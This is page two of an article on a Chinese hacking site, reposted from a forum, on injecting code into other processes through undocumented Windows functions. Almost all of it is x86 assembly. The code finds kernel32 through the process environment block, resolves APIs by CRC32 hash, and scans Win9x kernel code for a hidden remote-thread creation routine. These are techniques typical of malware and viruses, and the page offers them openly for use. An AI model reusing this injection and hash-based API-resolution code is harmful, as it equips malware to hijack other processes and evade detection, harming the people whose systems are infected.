| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
将注入进行到底         ★★★ 【字体:
挖掘操作系统内部未导出函数,将注入进行到底
作者:Anskya 文章来源:看雪论坛 点击数: 更新时间:2007-12-30

    call search_crt9x
    jnc @@error
    mov esi,eax
    
    mov edi,[esp+8*4+16]
    mov eax,[esp+8*4+20]
    push 8
    push eax
    push edi
    push 0fffff000h
    push ebp
    call esi
    push eax
    call search_halloc9x
    jnc @@error
    mov edx,eax
    pop eax
    
    push 0
    push eax
    push ebp
    call edx
    jmp @@finished
@@os_nt:
;   push dwo [esp+8*4+28+ 0]
;   push dwo [esp+8*4+24+ 4]
;   push dwo [esp+8*4+20+ 8]
;   push dwo [esp+8*4+16+12]
;   push dwo [esp+8*4+12+16]
;   push dwo [esp+8*4+8 +20]
    push 6
    pop ecx
@@loop_push:
    push dwo [esp+8*4+28]
    loop @@loop_push
    push ebx
    call eax
@@finished:
    mov [esp+pushad_eax],eax
    popad
    ret 4*7
@@error:
    sub eax,eax
    dec eax
    mov [esp+pushad_eax],eax
    popad
    ret 4*7
    
get_obfs:
    pushad
    push 0EB1CE85Ch                ;GetCurrentProcessId
    call get_k32base
    push eax
    call get_addr32crc
    call eax
    mov ebx,eax
    mov eax,fs:[30h]
    xor eax,ebx
    mov [esp+pushad_eax],eax
    popad
    retn
search_halloc9x:
    pushad
    call get_k32base    
    push 033D350C4h                ;OpenProcess
    push eax
    call get_addr32crc
    mov esi,eax
    mov eax,0E832ff50h
    jmp search_compare
        
search_crt9x:
    pushad
    call get_k32base    
    push 07FC598E3h                ;DebugActiveProcess
    push eax
    call get_addr32crc
    mov esi,eax
   ; IDA output:
   ;.text:BFF9490D                 push    8                   ; const
   ;.text:BFF9490F                 push    edi
   ;.text:BFF94910                 push    offset sub_BFF9494D ; thread
   ;.text:BFF94915                 push    0FFFFF000h          ; tells kernel to allocate stack
   ;.text:BFF9491A                 push    edi                 ; pdb
   ;.text:BFF9491B                 call    CreateRemoteThread9x; arbitrary name
   ;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000
;  mov eax,0fffff000h    
   mov eax,0E857FFFFh
;  DEBUG: CloseHandle
;  mov eax,0E8560002h
search_compare:    
    sub ecx,ecx
    mov cl,255     ;approx. size of DebugActiveProcess, just in case
@@compare:
    cmp eax,[esi]
    jz @@save
    inc esi
    dec ecx
    jecxz @@exit
    jmp @@compare
@@save:
    lodsd
    lodsd          ;eax = relative address of CreateRemoteThread9x()
    add eax,esi    ;absolute address
    mov [esp+pushad_eax],eax
    stc
@@exit:
    popad
    retn
;--------The End~~~[^_^]  
get_apicrc:
    pushad
    mov esi,[esp+8*4+4]
    call get_k32base
    push 04134D1ADh      ;LoadLibraryA
    push eax
    call get_addr32crc
    
    push esi
    call eax
    mov ebx,eax
    
    sub eax,eax
    lodsb
    test al,al
    jnz $-3
    mov edi,esi
@@loop:
    lodsd
    test eax,eax
    jz @@end
    push eax
    push ebx
    call get_addr32crc
    stosd
    jmp @@loop
@@end:
    popad
    retn 4
;void* get_addr32crc(DWORD base, DWORD crc32)
get_addr32crc:
    pushad
    mov ebx,[esp+8*4+4]
    mov esi,[esp+8*4+8]
    
    sub ebp,ebp     ;counter
    mov edx,ebx
    add edx,[edx.mz_neptr]
    mov edx,[edx.pe_exportrva]
    add edx,ebx
    mov eax,[edx.ex_numofnamepointers]
    mov edi,[edx.ex_addresstablerva]
    add edi,ebx
    mov edi,[edx.ex_namepointersrva]
    add edi,ebx
    
    push edx
    mov edx,edi
    
@@next:
    mov edx,[edi]
    add edx,ebx
    inc ebp
    pushad
    mov esi,edx
    sub ecx,ecx
    lodsb
    inc ecx
    test al,al
    jnz $-4
    mov [esp+pushad_ecx],ecx
    popad
    
@@cmpstr:
    pushad
;   mov edx,edx
    sub eax,eax
    call xcrc32
    cmp eax,esi
    popad
    jz @@found
    
;    push eax
;    sub eax,eax
;    scasb
;    jnz $-1
;    pop eax
    add edi,4
    dec eax
    jz @@error
    jmp @@next
@@found:
    pop edx
    dec ebp
    mov ecx,[edx.ex_ordinaltablerva]
    add ecx,ebx
    movzx eax,wo [ecx+ebp*2]
    mov ebp,[edx.ex_addresstablerva]
    add ebp,ebx
    mov eax,[ebp+eax*4]
    add eax,ebx
@@error:
    mov [esp+pushad_eax],eax
    popad
    ret 4*2
;void* get_k32base();
get_k32base:
    pushad
    sub eax,eax
    mov eax,fs:[eax+30h]
    test eax,eax
    js @@os_9x
@@os_nt:
    mov eax,[eax+0ch]
    mov esi,[eax+1ch]
    lodsd
    mov eax,[eax+8]
    jmp @@finished
@@os_9x:
    mov eax,[eax+34h]
    lea eax,[eax+7ch]
    mov eax,[eax+3ch]
@@finished:
    mov [esp+pushad_eax],eax
    popad
    retn
; zhengxi’s crc32(): optimised by Vecna
; input: EDX=data, ECX=size, EAX=crc 
; output: EAX=crc, EDX+=ECX, ECX=BL=0 
xcrc32:
    pushad
    jecxz @@4 
    not eax 
@@1: 
    xor al, [edx] 
    inc edx 
    mov bl, 8 
@@2:
    shr eax, 1 
    jnc @@3 
    xor eax, 0EDB88320h 
@@3:
    dec bl 
    jnz @@2 
    loop @@1 
    not eax 
@@4:
    mov [esp+pushad_eax],eax
    popad
    ret
end

上一页  [1] [2] 

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    Epass函数手工计算过程
    EditPlus查找注入表达式
    破解SQL自动注入猜解机
    Asp.net注入台湾站
    myphp企业建站系统0day
    加密你的Root文件系统
    我常用的一些注入命令
    对快递公司一次艰难注入
    informix的注入整理
    手工注入电科大网络学堂
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号